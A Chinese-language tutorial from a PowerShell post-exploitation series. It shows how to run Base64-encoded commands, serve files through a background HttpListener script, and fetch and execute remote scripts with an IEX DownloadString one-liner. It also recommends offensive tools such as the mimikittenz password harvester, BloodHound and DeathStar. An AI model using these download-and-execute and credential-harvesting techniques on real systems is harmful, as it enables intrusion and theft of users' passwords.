Powershell(12)-实例使用场景

本篇为Powershell攻击指南——黑客后渗透之道系列之实战篇,主要介绍的一些实用的利用方式与利用场景和一些实用工具。

在实际的渗透环境中我们利用Powershell的方式无非两种:

  1. 使用编码的方式对Powershell命令进行编码之后运行
  2. 远程下载Powershell代码之后直接运行

两种方式各有利弊,第一种比较方便直接编码即可执行,第二种需要到一台拥有公网IP的机器,那么在实际的渗透环境中如何选择就得看具体场景了。下面看看两种实例:

通过编码的方式执行

我们做一个最简单的例子:

使用编码的方式执行whoami命令,我们首先使用下面的命令来进行编码

  1. $command = "whoami"
  2. $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
  3. $encodedCommand = [Convert]::ToBase64String($bytes)
  4. echo $encodedCommand

这串代码执行完之后就会打印出编码结果,之后直接执行即可powershell.exe -EncodedCommand $encodedCommand

完整过程如下:
Powershell(12)-实例使用场景 - 图1

搭建小型HTTP服务器

Powershell搭建HTTP服务器在真实的渗透环境中使用率是较高的,比如说我们需要直接的Get一个文件而使用SMB或者FTP是不推荐的,动静太大也较难搭建,而使用HTTP则没有这样的困难,也可以搭建在内网使用Powershell脚本的服务器。

那么很多人会说Python就好了啊,-m SimpleHTTPServer就好了,但是对于Windows操作系统并没有那么的Python环境供你使用,我们需要的是最少的操作做最多的事情,利用Windows自带的软件或文件是我们的最佳选择,所以Powershell是我们的不二之选

HTTPListener-API

那么搭建HTTP服务器也是调用了API,使用到了.Net的API—-HttpListener,我们只需要像这样调用New-Object Net.HttpListener那么我们就可以得到一个.Net对象,下面我们直接看看代码:

  1. # This script will execute in background
  2. start-job {
  3. $p="c:\temp\"
  4. # $p = Get-Location 可以获取当前用户的目录,如果这样使用后面的$p改为$p.path
  5. $H=New-Object Net.HttpListener
  6. $H.Prefixes.Add("http://+:8889/")
  7. $H.Start()
  8. While ($H.IsListening) {
  9. $HC=$H.GetContext()
  10. $HR=$HC.Response
  11. $HR.Headers.Add("Content-Type","text/plain")
  12. $file=Join-Path $p ($HC.Request).RawUrl
  13. $text=[IO.File]::ReadAllText($file)
  14. $text=[Text.Encoding]::UTF8.GetBytes($text)
  15. $HR.ContentLength64 = $text.Length
  16. $HR.OutputStream.Write($text,0,$text.Length)
  17. $HR.Close()
  18. }
  19. $H.Stop()
  20. }

那么代码也不长,直接运行就能在后台运行,Powershell会返回一个任务ID
Powershell(12)-实例使用场景 - 图2

如果我们需要停止这个HTTP,只需要Stop即可:
Powershell(12)-实例使用场景 - 图3

那么我们只需要修改我们的目录即可对相应的目录进行访问与下载,非常方便。

远程加载执行

直接看看命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/httptest.ps1');"

我们只需要在本地开一个Web服务,那么这就很好开了:通过Python或者其他的方式都可以,自己的机器怎么修改都可以。之后通过上面的命令下载你的脚本即可,这样就可以下载并执行了。那么还可以和上面编码的方式并用,就能更好的执行了。

实例工具

下面推荐一些比较好的工具,类似Powersploit或者nishang有的内容就不提及了,就提几个经常使用的工具。

mimikittenz

第一个是mimikittenz这个脚本能够获取到用户级的密码,比如Deopbox,jira,Gmail等等,对于真实的渗透环境来说,需求还是挺大的,下面是这个脚本提供的运行截图。

Powershell(12)-实例使用场景 - 图4

BloodHound

链接
中文名猎犬,先说说能干嘛吧:内网信息域内关系与细节整理,这个工具也是作为DEFCON 24的免费开源工具发布,主要使用了图论的一些知识,推荐学习。

DeathStar

链接
中文名死星,一看名字就知道是个StarWar迷:),也能看出他的威力效果,下面是官方一张gif使用效果
Powershell(12)-实例使用场景 - 图5

这款工具需要配合Empire的API,下面链接是作者的教程,大家可以自行研究。

开发工具

工欲善其事,必先利其器。这里提一下Ps的开发工具供大家选择。

ISE

那么最基础的是Ps的ISE,这个工具是自带的,通过下面的方式打开
Powershell(12)-实例使用场景 - 图6

打开的界面如下:
Powershell(12)-实例使用场景 - 图7
语法高亮,外加一个便于复制和粘贴操作的图形化控制台,可以说是非常的方便。

PowerShell Studio & Visual Studio

但如果你是一个需要更专业的开发环境,这款工具肯定能帮到你,官网在这里,简单看看他的一张截图:
Powershell(12)-实例使用场景 - 图8

可以看到软件是非常专业的,非常的方便编写与管理你的代码。

Visual Studio同意也能达到这样的效果,那么大家可以自行选择。